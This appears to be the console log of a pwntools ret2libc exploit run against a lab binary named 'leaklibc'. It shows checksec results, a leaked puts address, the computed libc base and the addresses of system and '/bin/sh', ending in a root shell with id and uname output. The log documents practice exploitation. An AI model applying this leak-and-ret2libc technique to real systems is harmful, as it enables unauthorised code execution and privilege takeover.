[*] '/root/techlabs/verify-pwn-b/6.2/leaklibc'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[x] Starting local process './leaklibc'
[+] Starting local process './leaklibc': pid 428254
[*] Loading gadgets for '/root/techlabs/verify-pwn-b/6.2/leaklibc'
[*] pop rdi ; ret (binary) = 0x401146
[+] puts @ libc = 0x76cb7ca87cc0
[+] libc base   = 0x76cb7ca00000
[*] system  = 0x76cb7ca58750
[*] /bin/sh = 0x76cb7cbcc42f
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 55B
[x] Receiving all data: 196B
[+] Receiving all data: Done (196B)
[*] Stopped process './leaklibc' (pid 428254)
===PWNED_6_2===
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu24 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
===END===
start

[+] leak + ret2libc OK: da lay shell
